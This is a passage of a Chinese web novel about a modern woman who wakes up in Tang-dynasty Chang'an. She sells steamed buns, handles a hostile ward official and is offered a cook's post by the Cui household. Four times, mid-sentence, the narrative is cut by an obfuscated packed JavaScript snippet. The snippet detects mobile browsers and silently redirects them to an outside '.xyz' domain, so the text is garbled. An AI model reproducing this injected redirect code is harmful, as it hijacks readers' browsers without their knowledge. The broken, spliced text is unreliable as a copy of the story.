余老四恍然大悟,却皱了皱眉,“阿娘你!”东边的陈家,是打着照看族叔家留下的一双年幼儿女搬进来的,但他时常瞧见他们家虐待原本的陈家的儿女,不止他们家,这条巷子跟原本的陈家接触过的,都对其有些看不上。 此时,一墙之隔的陈家,正有人贴在靠西边的院墙处听着墙角。院子里,两个瘦小的身影正在给东边角落的菜地松土、浇水,只不过地里并没有长出菜叶来…… 陈家隔着巷道的另一边,童白正蹲在地上检查张老汉夫妇挑来的白菜和萝卜。 “我说你不在家,老汉说,回头他再来家里拿钱。”白氏抱着四郎站在院子里晒太阳,两人一个大病初愈,一个幼小,都需要每日晒一晒太阳。 这也是童白要求的。 童白双手合掌,“哎呀,我忘记留四百大钱在家了。”家里她现在管家,虽然留了点十来个大钱在家里,也跟白氏说了,但不够用。 白氏“嗯!”了一声,“余家的糟粕我给了大钱了,用的你放在家里的。”一边懊恼着不应该一激动便将家里所有的银钱都给了出去,一边又下意识地按照她说的去做。 内心有一股说不上来的别扭,总觉得‘她’是有意如此,就好像无声宣誓管家权一般。 白氏盯着陶甑里新到的酒糟,喉间发苦。这具身子分明是自家女儿的,可那利落分拣糟粕的手法,却是女儿怎么都不会的。 童白这会儿可没功夫去猜白氏的心思,检查完菜蔬又开始看糟粕的品质她取来竹刀划开糟粕团,乳白菌丝如蛛网般绵密,证明了酒曲活性好着呢。 她用竹刀挑了一点点酒酿尝了尝,才入嘴,便有一股奇异的感知涌入脑海。 没有明显的酸味,有的只是稻米发酵后的特有气味。就好像无数活跃的微小菌丝正蓬勃生长,其纯净度远超寻常酒坊所得。 童白露出满意地笑容,不管那刘婶子适才拖延自己是为何,但这酒糟的品质,她却是没说谎,真不错! 这里面的活性菌,不仅可以用来做腌酸菜的母水,还可以用作发面,酒酿馒头便是用这发酵制成。 这样做出来的馒头比起用老面做出来的,多了几分酒酿特有的香气。口感也更绵密。 就是不知道如何提取这酒酿酵母,而且长安人常年多食面食,其中不乏一些有创新精神的,这酒酿馒头并不难做,特别制作酒酿的技术掌控在酒坊。 后续酒酿馒头若是打开了市场,原材料糟粕或许都会涨价,到时候,也不好控制。 想到此,童白心里泛起一阵苦意,还市场呢,自己这在坊市叫卖的生意都不见得能做下去,想那么远也没用。 唉!她怎么就穿来了坊市制度严苛的唐朝呢? 若是穿到宋朝或者架空的宋朝,她这会儿铁定撸起袖子就是干! 算了,不为没能发生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066043|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情而焦虑,“二郎,你来把这些菜蔬搬进西屋。”童白用竹簸箕装了些出来,其余的让二郎收好,“阿娘,你来把这菜蔬择一择,按上回做酸腌菜前的菜蔬那般。”外面干瘪的菜叶不能要,除了最烂的部位扔掉外,余下的,都可以留下,风干成菜干也行。 其实菜干用来做包子馅料,只要肥油给的够,食材搭配的好,也好吃。比起新鲜菜蔬的包子馅,更有一种特有的口感。 白氏点头应下,将怀里睡着的四郎送回主屋,让三娘在里面边玩边看着,她坐在院子里择菜,原本这些活计她出崔府前不会做,但现在,也学会了。 童白将余家送来的糟粕分成两份,一份用来做酸汤母水,另一份发酵做酒酿馒头,做好这些,她坐在白氏身边开始洗菜,家里的水瓮不小,装满后,可供家里用两日,所以也没必要去坊西的水井处。 “二郎,明日我去给坊东的坊吏送蒸饼时,你也一起去,多认识认识,混个眼熟。”童白入乡随俗的很迅速,也没有什么二郎现在还小就无需接触这些的想法,这趟穿越过于突然,谁知道她会不会又突然穿回去了,又或者遇到别的什么情况。 作为二郎他们的阿姊,她意识到,一定要尽可能地教会他们这些生存、生活能力。 什么都不如自己有,什么都不如自己会。 一家人忙活到太阳往西走的时候,才停下来,看着晾在院子里的菜蔬,童白突然生出成就感。 “阿姊,三娘今日也有乖乖哦,帮着照看阿弟。”三娘扒着童白的腿,抬头看向她,小脸上全是求夸夸。 童白点了点她的小鼻子,“是呢,我们家三娘可棒可乖了,”小家伙今天帮着看四郎,她又怎么会吝啬表扬,“阿姊最喜欢乖小孩了!” 二郎听到这话,转头看向童白,没说话,但眼中求表扬的神情,却是一目了然。 童白怎么会拒绝懂事的二郎,她一顿夸夸夸,就连一旁看着的白氏和四郎她都顺带夸上了。 弄得白氏脸上红扑扑的,看着气色还真不错。 院子里全是欢声笑语,直到一道“叩叩叩”的敲门声响起。 白氏不由搂紧了怀里的四郎,这几乎成了她害怕时的下意识举动,二郎挡在了童白身前,三娘则是藏在了童白身后。 童白相当于是一拖二,她清了清嗓子,问:“谁呀?” “是我,”张勇退后一步,站在童家院门外,大声道:“延寿坊崔将军府上军士,张勇。” 他这一声,怕是连巷子口的吴家那都能听到,童白面上笑颜显露,“好,我这就来开门。” 这可是太好了,张勇军士这一番自报家门的办法,起码也能威慑一下那些对童家起了坏心思的。 童白拉开院门,就见张勇正咧开嘴朝她笑。 童白恍惚。 感觉他的笑脸跟谢嬷嬷重合上了! 30. 童爹,童校尉 “张军士,还请进来说话。” 童白拉开院门,二郎忙去灶屋,点燃灶膛打算烧一壶热水待客。 张勇才进来站定,就朝白氏拱手行了行礼,白氏回了一礼,神色拘谨。童白却是神色自若地招呼着张军士坐下说话。 虽然在院子里说话隔音着实不好,但家里并没有别的待客的地方。 张勇瞧了眼西边院墙,往灶屋一伸手,“嫂子、童小娘子,不若进去说?” 童白与白氏对视一眼,白氏抱着四郎领着张勇去往灶屋,童白蹲下来在三娘耳边耳语几句,三娘点点头,在蹲在院子里玩耍。 灶屋里,张勇小声道:“这趟前来,有两个事情要说,一是,那坊吏上门查探之事,还请童小娘子先顺着坊吏所言,暂时先别在坊间叫卖,至于这段时间因而耽误的赚头,”说着,从怀中拿出个小银块,“短则三五日,长则半月余,”递给童白,“这便是补偿。” 童白视线移向银子,摇头拒绝,“哪里还需要补偿。”就算要补偿也应该是那斜眼坊吏以及马脸妇人,跟张勇军士也没有什么关系。 张勇见她不接,解释道:“这事,其实算不得什么,拖着未解决,只因主子不便出手,主子说,小娘子因而耽误的生意,他怎么都应有所表示。” 童白讶然,“可,这事,为何十九爷知晓了?” 这补偿,究竟是庇护,还是让她们不计较的封口费?但总归一句话,为何是十九爷给? 她虽在斜眼坊吏面前扯了崔家的大旗,却没跟他们说这件事。 张勇笑道:“某这趟回长安,童家兄长不仅拜托某给你们送来饷银,也让我多照顾下……”想着童校尉当时说的话语以及将军的安排,声音中多了几分沉重。 白氏闻言,眼眶一红,抢声问:“孩子他爹,可,可还好?”这段时日家里发生的事情太多,她想打听孩子他爹的消息,却不知问谁知晓。 “我回长安前,还挺好。”张勇的声音平稳,目光却掠过母女俩,落在灶膛跳跃的火苗上。 白氏垂下眼帘,心中刚升起一丝微弱的希望,又在对方避开的视线中迅速熄灭,寒意顺着脊椎蔓延开。童白将阿娘瞬间的僵硬看在眼里,心下一沉,面上却不显,只一把扶住白氏微晃的肩头,转向张勇:“劳军士挂心。不知,第二件事是?” 童白眼神微闪,意思是他回长安后,童爹便不好了吗?还是说,坊间传出的谣言有几分可信? 可,若是童爹真的不好了,张军士应是不会主动提及此事吧? 童白选择相信,张军士不说只是不能说,一把拉住神思不属的白氏,“不知,第二件事是?” “不知小娘子可愿去主子家做厨娘?”张勇问。 童白总算明白为何觉得张勇的笑容会那么像谢嬷嬷了,原来都起了“拐卖”的心思,她瞧了眼白氏,比起回答他,她更想知道在摊牌之后的白氏听到这话语后的反应。 白氏抱着四郎的手臂无意识地收紧,低头掩饰瞬间通红的眼眶,未对此有所反应。 反倒是一边安静烧水的二郎,腾地一下站了起来,“阿姊,不去。”他还记得前几日那老嬷嬷上门来说的话,当时他因为害怕,没能拒绝,这一次,他说话的声音依然发颤,却吐字清晰。 童白瞳孔微张,嘴角微微上扬,“嗯,谢十九爷赏识,但张军士您看,”双手一摊,“家里这情况,也离不了我。” 张勇本也只是提议,眼眸一转,见白氏还是一幅愣怔的模样,摸了摸鼻子,笑道:“十九爷倒没说,这只是我一厢情愿的提议,”大人病弱,弟妹年幼,这一家子,倒是只能靠童小娘子。 目光往旁边的白氏身上又瞧了一眼,内心叹息一声,也算是明白为何童校尉在拜托他照顾家里人时为何那般脸色难看,实是,担心啊! 童白转移话题,“我若是在此期间帮坊里邻居做些吃食,应该不会影响十九爷的计划吧?”她不知道十九爷为何要关心斜眼坊吏跟自己的这件事。 “不妨碍,”张勇摆手道,又建议:“小娘子这几日可想一想宴席的甜点样式,小娘子可在此上多下点功夫。”说完,将那银裸子放在了童家的碗橱之上,转身离去。 童白目送他骑马离开巷道,关门后,童白背靠院门,心跳如同擂鼓一般。 ‘兵营里的事’、‘不便出手’……张军士语焉不详的背后,怕是大有文章。 童白叹了一口气,莫不是童家摊上的事,比她想的更复杂? 站在灶屋门口的白氏瞧见她这一幅模样,脸色惨白,眼泪无声掉落。 童家就像笼罩在乌云之下,黑暗、窒息。 而,此时,童家对门陈家的院门悄然打开,一抹身影从里面快速出来,往巷道外走去。 * 张勇从崇延坊出来直接去了长兴坊,在坊西一座两进院宅邸前下马,将马交由看门的仆从,直接去了前院待客厅,就见一名老者正坐在红木八仙桌旁喝茶。 他大剌剌走过去,端起茶壶倒了一杯茶水,咕噜咕噜喝下去。 老者抬眸瞧他一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071454|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸惋惜:“我这可是主子赏的好茶!” 张勇坐在圆木凳上,“回头我跟主子讨要一份,送给您老。”又倒了一杯茶,凑在嘴边,这回喝得慢一些了。 老者满是沟壑的脸庞露出个笑容,“说吧,主子可是有什么吩咐?” “主子之前挂心着的宴席上菜式,找到个小厨娘来做甜品,主子让我来问您李大人的喜好。”张勇边说边瞧着老者的脸色,“做甜品的小厨娘便是谢家想要买回府上做陪嫁的那位,主子说,她做的蜜渍金齑很不错。” 老者:“你去跟那童小娘子说,甜点往甜了做,越甜越好。” 张勇记下来了,问:“武娘子可有消息?谭家新妇谢氏为何贿赂坊吏对童家出手?” 老者放下茶盏,冷哼一声:“还能为何?左不过那童小娘子骨头硬,拒了卖身去做厨娘的‘好前程’,折了谢氏的脸面。妇人家心眼窄,便使这下作手段泄愤。” 张勇皱眉:“仅为此等小事?那谢氏…” 老者摆摆手,打断他:“谢氏浅见不足虑。倒是……”他指节敲了敲桌面,声音压低,“武娘子隐约探得,谭家近来手脚不甚干净,似想往兵营里伸。主子疑心他们掺和了兵营里那些事。”他抬眼,目光锐利如刀,语气带上了一丝冰冷的杀伐之气。 张勇闻言,浑身气势变得冷厉。作为军士,他们可以为家国上战场厮杀、浴血奋战,却不屑于死在朝堂上的阴私手段之中。 老者缓了缓情绪,问:“那童寄,是童小娘子的阿爹吧?”主子并不是个会多管闲事的性子,张勇也不是。 张勇端茶的手几不可察地一顿:“是。童校尉正是那位童小娘子的父亲。”他喉间有些发涩。 老者了然:“这便是了。童寄是将军从府里放出去的自己人,根子上还是咱们崔家一脉的。谭家这时候动他家人…”他未尽之言,满是深意。 张勇想起那颗银裸子:“所以主子让我给童家送银子,是…” “是主子心慈,也是规矩。”老者接口道,“自家袍泽的孤儿寡母被人欺到头上,岂能坐视?一颗银裸子,不多不少,是告诉底下人,也告诉那些伸爪子的,这家人,崔府还看着。”他顿了顿,语带告诫,“此事你知我知,童家那边,不必言明。让他们安心便是。” 张勇若有所思,将杯中残茶一饮而尽。 茶已凉透,滋味苦涩,喉间因“童寄”二字梗着的硬块,却因老者那句“自家袍泽”而化开些许暖意。 他无声地摩挲了下腰间佩刀的刀柄。 31. 让人头疼的改良食方 童白收到张勇传来的信时,已是第二日她随卢婶子去西市采购了食材回来之后。卢婶子那会儿正好也在童家院子里,瞧见穿着崔府下人服侍的人前来传话,还往那口瞧了好几眼。 等来人离去,童白回了院子。卢娘子问:“是延寿坊那边的?”脸上全是好奇。 童白点头,只接着未被打断前的话题继续说:“我明日在坊门鼓响前将婶子要的蒸饼蒸好,这样也不耽误婶子的事儿。”现下天寒,怎么都能放上个几日,不用愁。 白氏眼眸一转,也笑着说:“到时候放些絮布垫在竹篮里,还能温着。”絮布不仅能保温,还能吸些水汽,不至于让面皮被水汽弄的软烂。 卢娘子见童家人不愿多说,便也笑着继续聊了些别的事,回到自家后,脸色却并不是那么好看。在院子里扫地的吴家三娘子瞧见了,狐疑问道:“阿娘,怎么了?” 卢娘子抬眼瞧了自家闺女一眼,“没事,就是在想,也不知道这次送的礼,你外祖母会不会喜欢。” 想到外祖家,吴三娘子撇下嘴角,“外祖母定然喜欢,就是大舅母却不好说了。”前些年阿爹一直在外打仗,外祖家对自家多有照顾,大舅母因而对他们家不喜,好在大舅不是个糊涂的…… 卢娘子心里有事,胡乱地‘嗯’了一声,便进了屋去,只留下吴三娘子在院子里看着她背影好几眼。 童家这边,白氏也在问童白,“崔府那边来人说什么了?” “说了下那位十九爷宴请宾客的喜好,”童白边切着猪板油,边回道,心里却在搜索着原主记忆中吃过的甜点。 她既已在十九爷面前明说自己不善庖厨,只是喜好琢磨美食,必然是不能用后世的甜点来应对。 但其实改良的难度反而比制作出一个新的更让她头疼。 最主要的是,长安的糖,价格可不便宜,而改良美食哪能只是在脑中改,全要落实在实际操作中,所以,之前送来的银裸子,怕是又要留不住了。 哦,对,银裸子,还有卢婶子适才离去时的表情,童白问白氏,“阿娘以为,这件事要不要跟卢婶子提一提?她之前一直都有帮咱家。”她倒不是防着卢婶子,只是这试吃还没通过,她怕提前说出去,万一没成,倒是不妥。 最主要的,别看她上一世的职业是做主播,现实生活中却是个低调之人,却也明白童家需要崔家作为护身符,但具体的度,却不好把控。 至于白氏,虽然性子懦弱了些,平民百姓家的持家和生存能力低了点,但是在这些人心和世家府邸里的人情世故,她觉得定然要比自己强上不少。 白氏沉思一瞬,轻声道:“这样,这油练好后,我去送给吴家时再跟卢娘子提一嘴,可好?”眼睛一直盯着‘她’,“有介绍做短工和借粟米的事在,吴家郎君和你,阿爹,都在崔将军麾下同为校尉,于情于理,她家跟咱家的关系都不一样。”想要知道‘她’是真诚求解,还只是敷衍又或者…… 童白顺着白氏的话语想了想,点头,“阿娘分析的对,就这么办吧。”她适才的问话便是主动给白氏递梯子,还好白氏接住了。 她这几日想明白了,这世道艰难,唯有与立场天然一致的白氏联手,方是生存之道。白氏此刻的表态,正是她求之不得的回应。 白氏见她并不敷衍自己,唇角微扬,踌躇二三后道:“你意欲做何甜点?”她知道,家里日子想要过下去,还是得看‘她’能不能凭庖厨之技在十九爷跟前站住脚。 这个问题还真问住了童白,原主记忆中吃过的甜点并不算多,比如什么荷花酥、五福饼、冰酥烙、蜜渍金齑……,蜜渍金齑是酸甜口,荷花酥、五福饼需要烤箱烹饪,冰酥烙适合夏日食用,现如今她还真想不出宴席上适合制作的甜点,还是很甜的那种。 童白摇头,叹气道:“未有想法,”直视白氏,她既这般询问,“阿娘若有好的建议,不妨直言。” 白氏斟酌片刻,“我倒是有个想法,你且附耳过来。” 童白凑上前去,白氏怀中的四郎见阿姊靠近,一把抓住了童白鬓间的黑发,用力一扯,疼的童白眼泪都出来了,却只是抓住四郎的胳膊,边听边将发丝从四郎的手心扯出。 白氏这边说完,那边头发也解救成功,童白退开到安全距离,揉着被扯痛的头皮,心思却已飞到烤炉,“阿娘有认识会搭烤炉的?” 若是有了烤炉,她脑中中西式甜点的方子可真还不少,比如说蛋挞和派,都是比较合适的小甜点。 “当年在崔府大厨房帮佣时,见过府里搭过小烤炉,制作点心,”白氏建议,“你若跟那张军士说明需求,他应是能找来会搭烤炉之人。” 童白沉思,烤炉她当然想要搭,但如何将原主会使用烤炉合理化,却是她担心的,而且她也没瞒着白氏,直接将自己的顾虑说出。 白氏哑然,是呀,她怎么忘记了这一出,“你小时候常跟着厨房帮工和婶子的小女儿盈翠在小厨房玩耍,或许可以往这方面引一引?”说完,咬唇补充一句,“不过,那都是你七岁前的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076740|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,七岁后,便去了的教导嬷嬷处学习规矩。” 白氏的话语勾起了回忆,童白接话道:“盈翠?是了,隐约记得是有这么一回事,那会儿我们总爱在小厨房边玩。” “我也再想一想。”说着,叫上二郎来灶屋生火,她开始熬制猪油。 猪板油在热锅里滋滋作响,渐渐蜷缩成金黄酥脆的油渣,浓郁的荤香弥漫在小小的灶屋里。 这时院外传来了敲门声。 白氏应声:“谁呀?” “是城南菜园子的张老汉。” 院门被打开,白氏请张老汉夫妇进来院子说话,也没喊童白,拿出四百个大钱给对方,张老汉用秤称了称重量,笑着道:“是了,是了,没错没错。” 一旁的老妪从怀里拿出个桑皮纸包,递给白氏,“这是家里留存的一些菜种,等过几日天暖了,便能开始种在菜地里了。” 白氏接过来,指尖无意识地摩挲着粗糙的纸面,“谢谢婶子了,正好我家一点菜种也无,这可是帮了我们大忙了。”眼中闪过一丝对新生活的期冀。 老妪听到她这话语,惨白的脸上也露出笑容,“自家留的种,你们不嫌弃就好。”搓了搓手,补充道。 白氏避开四郎想要抓纸包的小手,“婶子可有时间,跟我讲一讲这里面有哪些菜种,”赧然道:“我,我从未种过,家里人也不会。” 童白听到了院子里的动静,心想这白氏倒是转变还蛮快的,不仅想要学种菜了,还给她提议。 不管是真是假,又能持续多久,这都说明了,白氏这是走出来了。 童家院内,老妪正耐心地指着桑皮纸包里的种子,一样样告诉白氏名目和种法。白氏听得认真,不时点头,四郎好奇地伸出小手想去摸那纸包,又被母亲轻轻挡开。 灶屋里,油锅滋滋作响,香气飘散。 陈家院门里,趴着一个人,正直盯盯看着侧对面的童家,闻嗅着香气,听着里面传出老妪教导种菜的话语。 直到对门童家的说话声歇了,那人才离开门缝,悄无声息地闪身进了主屋。 “老大,这童家究竟是有什么秘密,上面的人还派咱们来?要我说,对面不是女的就是小孩,不若夜探一番,这不是什么都知道了!” “蠢材!打草惊蛇坏了贵人谋划,你我吃罪不起!且盯着便是。” 他们的交谈声压得极低,但还是透过门板传到了院子里。 角落里蹲在菜地边上忙活的一抹小身影,身子不由抖了一抖。 32. 站住 白氏抱着四郎去到巷子口的吴家时,卢娘子和吴三娘子正在院子里给菜地浇水。现在天冷,浇水也改成阳光正盛的正午。 “卢娘子,在家吗?”白氏站在院门外,拍门道。 卢娘子看向菜地旁的吴三娘,用下巴朝院外点了点,吴三娘会意地应声道:“来了,来了,家里有人。”卢娘子这才不紧不慢地站起身来,却是没有移动半分。 白氏进了院就见到卢娘子正站在东南角的菜地里,左手还抓着一把杂草,明显就是才在整理菜园子的模样,她抬了抬胳膊上挎着的竹篮,笑道:“这里是炼出来的猪油,才称了称,约莫两斤半斤,猪油渣差不多两斤。” 五十个黄金油渣蒸饼,卢婶子说大小做的跟上回差不多即可,也就是一两一个。 需准备两斤左右的油渣和两斤的白菜,面团也准备了三斤左右,原材料多得少不得,哪怕多做了的,也是送来给吴家,不算浪费。 一旁的吴三娘接过白氏手中的竹篮去了灶屋,卢娘子慢腾腾地从菜地里出来,笑嗔道:“这油也不着急往我家送,你家可真是见外。”最后一句话可是她的心声。 吴家的院子比童家院子的大上不少,东南角的菜地里种了不少的菜蔬,这个时节,大多只冒出头来,白氏就当是没听出卢娘子话中深意,真心夸赞道:“你家的菜地可真好,我都不会伺弄这些,不过我们家也打算等天气暖和些了,也在院子里种种。” 卢娘子顺着她的话说下去,“那敢情好,起码夏日不缺菜蔬吃,就是这地得好生伺候着,你们家不是在菜园子那边张老汉家买了不少菜蔬嘛,回头可以向他们取取经。” 白氏却瞪大了眼,摇头道:“我这身子可走不了那么远还去菜园子那边学,”说着,又指着菜地说:“我本是想来跟你学一学的。” 卢娘子没说好也没说不好,只好奇问:“我以为是你家小娘子去学呢。” “她哪有空呀,”说着,白氏瞧了眼院门处,见大门紧闭,才朝卢娘子走了几步,小声道:“延寿坊那边想让她做点吃食,她这心思全在这上面,我家二郎又小,只能是我来学……” 卢娘子眼神一转,原来这才是崔将军府上来童家的缘故? 白氏见她一副所有所思的模样,便知道她定然听明白的话语中传递的信息,继续道:“……不过,我也知道嫂子这几日忙,我过几日再来学习,可好?” 卢娘子这次没推辞,顺着白氏的话语道:“你若不嫌弃,那我自是也不会拒绝咯。”俩人又说了几句家常,等到吴三娘子将竹篮送给白氏后,白氏才笑着回了家。 吴三娘子目送白氏走远,关上院门,小声问道:“阿娘不是才说,童家惹了坊吏,怕牵连咱们,怎么……” 卢娘子瞪她一眼,低声道:“你懂什么!刚没见崔府的人又来传话了?”她蹲下身继续拔草,心思却活络起来。 白氏刚才那话里话外透出的意思,童家小娘子是真得了延寿坊贵人的青眼,专程让她做吃食。既是贵人要用的人,那点坊吏的小麻烦还算什么? 童家这棵看着快倒的小树苗,指不定傍上大树又能支棱起来了。教个种菜卖个人情,总归不亏。 白氏才敲响院门,大门便从里拉开,童白领着童二郎站在里面一副要出门的模样,如果忽略‘她’腿被三娘抱住这一幕。 白氏目光闪了闪,摇摇头,“三娘,随阿娘进来,”伸手拉住依依不舍的三娘往院子里走,边关心地朝童白道:“早点回来。” 童白“嗯”了一声,领着二郎往院子外走,顺带将院门关上,转身时,眼角余光扫过对门陈家院门,心下一咯噔,门缝阴影微微晃动? 面上却没显露出半分不对劲,目光自然往上移,瞧了眼此刻万里无云的天空,“阿娘,院门先闩上,我们回来时再敲门。”听到门闩落下的声音后,领着二郎往巷口走去。 “阿姊,这天,什么时候才会变暖啊。”二郎搓了搓手上的冻疮,忍不住问道。 童白又瞧了眼天色,摇头说:“阿姊也不知道。”俩人不紧不慢地朝巷口走去,一问一答地闲聊着。 俩人直接去了北坊门处,胡长春见姐弟俩过来,带着他们进了休息的小屋。 小屋建在坊墙根,石头砌成,进去后才发现,房间五平米左右大小。内侧靠墙边是一张一米宽两米长的矮脚床榻,靠外墙这面的窗户沿下放置着一张木质四方桌,上面摆放着茶具、碗筷等物什,阴暗且逼仄。 房间中间有个炭火坑,里面还有木柴燃烧后的灰烬,不仅一点热气都没,甚至于房间内还散发着一股霉潮味。 原来这里面的居住环境这么不好,童白收起打量的目光,看向童二郎,童二郎深吸一口气,说道:“胡叔,昨日我跟阿姊去了延寿坊,给我家送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087474|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿爹饷银的张军士领着我们去见了府上的十九爷,十九爷……”二郎的声音清脆,就像是背书一般,将这两日与崔家那边接触时发生的事情都说了一遍。 唔,平铺直述,就是没有重点,但不妨碍胡长春听出了关键点,他看向童白:“所以,你们姐弟这趟过来便是告诉我,无需去查了?” 二郎见胡叔询问阿姊,小脸上难免带上了几分失望,胡叔为何不问自己,明明是自己将情况告诉他的。 童白摸了摸二郎的头顶以示安抚,看向胡长春的眼中,带上了三分迷茫和两分无措,“我们也不知道这件事该如何处理,这才来找胡叔商量下。” 胡长春垂眸细思起来。 他没有回长安城前便是童校尉的小旗旗长,属延寿坊崔将军麾下的兵士。去岁回来长安城被安排在崇延坊做坊吏,也有童校尉帮忙疏通的原因。 这位崔十九爷虽做不了延寿坊崔家的主,却是崔将军看重的旁系子弟,让亲兵张勇去到他身边不说,还让他去了只有朝廷五品以上官员家子弟才能就读的官学进学。 听说就连府上其他几位适龄公子爷都没能去就学,为此府上几位老爷不是没有怨言,最后却被老夫人给压下来了。 按理说这位十九爷根本不会管童家之事,难道是因为张勇的缘故? 他想多问几句时,透过洞开的房门,瞧见了一抹身影往这边走来,是坊东的付坊吏。他赶忙笑着迎上前,童白瞧见这一幕,拉着二郎退到了靠近窗沿边的木桌那儿。 “付坊吏,不知今日是什么风,把您给吹来我这儿了。”胡长春笑着跟付坊吏行礼寒暄。 “今日正好来这边办点事,路过这边,便来瞧上一瞧。”付坊吏也笑着回礼,步子却没停下,直接进了小屋,才进来,就敏锐地感觉到了童白姐弟俩,只不过,从明亮的地方走到黑暗的屋内,看不清那两人的五官,“没想到胡坊吏这有客人,某是不是打扰你们了,要不……”话还没说完,那边胡坊吏忙摆手,“不妨事不妨事,他们是我的子侄,我让她们先出去便是。” 童白心领神会,领着二郎朝胡、付二人方向行了一礼,便低头向门口退去。就在她退至门口光亮处时,面容恰好被付坊吏看了个真切。 “咦!这不是那卖蒸饼的小娘子,站住!”声音大的跟呵斥一般。 吓得童白姐弟僵在门边,不知所措。 33. 善意的提醒 “你不是那叫卖蒸饼的小娘子吗?”付坊吏对眼前这位小娘子记忆深刻。 一是她卖的蒸饼好吃,上回好不容易余下一个带回家里,家里人分食后都说好,让他下回多买一些,他昨日满怀希望地起身,等到下值却也没见到这位小娘子。 今日不当值也来坊里,便也起了看能不能遇到的心思。 童白自这位付坊吏进来,心中悬着的那颗石头倒是落了地了,躲不过,那就只能应对,她点头道:“坊吏大人,奴之前去东坊门那边叫卖过。” “那你昨日为何没去?” 付坊吏往童白这边走了几步,胡长春虽不明就里,却也迅速侧身一步,像一堵厚实的墙般隔在了付坊吏和姐弟俩之间。 这是个攻守得当的有力位置。 付坊吏视线在房内环视一圈,又深吸了几口,并未闻到和发现这里有蒸饼的存在,心中难免有些失望。 童白对此也很无奈,“不是奴故意不去,是坊吏大人说奴若售卖蒸饼便是违反唐律,要抓奴下大狱。” “我可没说要抓你下大狱!”付坊吏一听这话,先矢口否认,又看向胡长春,问道:“是胡坊吏说的?” 胡长春摆手摇头否认:“连巡视的武侯大人都不管的事,我才不会多此一举。”心里却想到,都说这俩是我家子侄了,我还能为难自家人? 再说了,只要不是在坊间定点售卖,他们这些坊吏不仅不会禁止,甚至于遇到合适的,也会购买。毕竟,西市开市和闭市的时间十分严格,于他们来说却不便利。 童白垂眸低声道:“是坊西那位大人。” 此话一出,房内瞬间安静下来,房外坊门处的声音也都传到了房间里来,有交谈声,有木轮压在青石砖上的摩擦声,还有那骆驼行走撞击的铃声。 崇延坊离西市不远不近,租赁房屋的价格比起毗邻的延寿、光德、怀德、怀远等坊要低一点,租在此的胡商和外乡人不少。 坊间挎篮售卖的对象更多的也是为这些人提供便利。 毕竟,大商队才会有请厨娘,小商队和个别外来客,大多更愿意在外吃。便利又划算。 所以几个坊吏默认了这种挎篮叫卖的模式,没想到坊西那位会…… 童二郎见坊吏没继续说话,眼神也渐渐暗淡下来。被叫住后,他除了害怕,也生出了希望。这位坊吏是不是能帮忙解决目前的困局。 身随心动,他缩回了阿姊身后的角落,存在感极低。 “行了,你们先回去吧,别忘了隔一日给我这送蒸饼来,”胡长春挥一挥手,让姐弟俩离去,“我以物换物。” 以物换物,严格意义上来说是百姓间的自发行为,只要控制频次和量,算不上售卖,也是他打算解决此事想到的办法。 付坊吏赶忙道:“我也可以以物换物,这位小娘子,明日你给我送十个黄金油渣蒸饼去东坊门,开坊门前。”昨日他等到天光大亮时也没见这小娘子来,家里人知道他有蒸饼吃,也没给他送饭,他不得不买了些别的吃食。 要不说呢,吃过这黄金油渣蒸饼后,吃别的都觉得不香,还亏得慌,毕竟同等价位能买到更好吃的美食,这笔账只要不傻都算得出哪个划算。 童白点头领着二郎离去,留下胡叔和付坊吏在此,至于说付坊吏给的物,相信胡叔会提前帮忙引导好的。 站在北坊门前,童白心中稍定。付坊吏的态度是个意外之喜,胡叔的“以物换物”也算一条出路。但斜眼坊吏和马脸妇人那边……她总觉得没这么容易了结。 思索片刻,她领着二郎往北走去,目标明确——西市,胡商的铺子。 她身后几丈开外,一个穿着灰扑扑短褐、身形毫不起眼的男人,不远不近地坠着。 从小在和平年代长大的童白,毫无察觉。 